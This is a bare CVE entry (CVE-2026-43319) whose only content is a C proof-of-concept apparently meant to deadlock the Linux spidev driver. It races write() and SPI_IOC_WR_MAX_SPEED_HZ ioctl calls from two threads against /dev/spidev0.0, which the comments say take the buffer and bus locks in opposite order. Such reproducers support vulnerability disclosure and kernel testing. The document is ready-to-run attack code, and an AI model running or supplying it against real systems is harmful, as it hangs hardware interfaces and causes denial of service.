CVE-2026-43319

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <pthread.h> #include <linux/spi/spidev.h> #define DEVICE "/dev/spidev0.0" int fd; // Thread 1: Perform write operation to acquire buf_lock then spi_lock void* thread_write(void* arg) { char buf[32] = {0}; while (1) { write(fd, buf, sizeof(buf)); usleep(1000); } return NULL; } // Thread 2: Perform ioctl operation to acquire spi_lock then buf_lock void* thread_ioctl(void* arg) { unsigned int speed = 1000000; while (1) { ioctl(fd, SPI_IOC_WR_MAX_SPEED_HZ, &speed); usleep(1000); } return NULL; } int main() { fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } pthread_t t1, t2; pthread_create(&t1, NULL, thread_write, NULL); pthread_create(&t2, NULL, thread_ioctl, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); return 0; }

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